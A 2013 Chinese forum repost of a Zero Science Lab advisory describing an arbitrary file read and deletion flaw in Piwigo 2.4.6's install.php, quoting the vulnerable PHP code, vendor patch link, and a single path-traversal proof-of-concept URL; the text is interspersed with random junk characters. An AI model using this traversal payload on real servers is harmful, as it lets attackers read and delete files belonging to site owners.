找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。1 c' s0 r' }- o$ l6 O* g$ c

  a$ i9 }  I% s# M* @3 [Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
  F, P+ ~8 ?. k3 U0 z====================================================================
0 ^) X/ {& g" }+ k' U9 O) [2 ~/install.php:2 e# A. @/ ?9 u, B8 I# |9 b4 z. ~
-------------
( e( r2 C" n# s; z113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))& l" B3 Y! z  j9 Z
114: {, Q8 C* D2 U2 V1 m7 \- n
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
6 ]& ~5 a! A5 z8 \1 `6 s7 D5 T116:   header('Cache-Control: no-cache, must-revalidate');
- X% p# N- b6 c' g% d$ Q8 O117:   header('Pragma: no-cache');
1 _% e% z$ }% c, e$ ]$ f4 g118:   header('Content-Disposition: attachment; filename="database.inc.php"');' S2 F; j, d9 S+ ]$ s* m) a
119:   header('Content-Transfer-Encoding: binary');
; g3 |( q( M; D, Z  ^% T% k! I120:   header('Content-Length: '.filesize($filename));
& C( @9 U' y- T$ x7 e% d# o121:   echo file_get_contents($filename);  P6 I) n9 N: G
122:   unlink($filename);
  s. x# \/ D7 C* I# Z123:   exit();
* N# n- p( Y. v- V0 R124: }
3 W( s* `6 i) C: l& M% u7 {) }====================================================================: y# o8 M; H  N' S# n

7 k1 Y2 c  q1 M' p) y$ g* XTested on: Microsoft Windows 7 Ultimate SP1 (EN)  R: |4 Z6 W8 I0 y1 K6 k
           Apache 2.4.2 (Win32): s- w4 ]3 I" w( G9 U3 n/ O
           PHP 5.4.4+ G. e! E9 j. e' d9 @+ e
           MySQL 5.5.25a: ~/ e# K' n) A$ O

; ^. {) ?; z9 \1 ~Vulnerability discovered by Gjoko 'LiquidWorm' Krstic$ u5 w6 @) q' F/ t
                            @zeroscience! |) i( ?1 K2 n# _

  Y$ Q, x; Z* U* CAdvisory ID: ZSL-2013-5127; g) I6 X+ y; M# M( F9 S/ k3 |7 W
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
9 J  n0 P/ F7 Y: |Vendor Patch: http://piwigo.org/bugs/view.php?id=28434 Z- A  C' b1 e) B- ^  e6 G

+ L& @7 V/ ~3 N( J( Z  p, u" {! I& ]* I15.02.20132 |9 F8 c" r& F4 h/ b
) n* q( B5 G+ s* p; U  |+ N
--' N# O# g6 H4 N) C1 x
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
- ^4 m9 {7 b7 M1 c3 O 6 b% L9 C) x/ ^* u4 u, m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表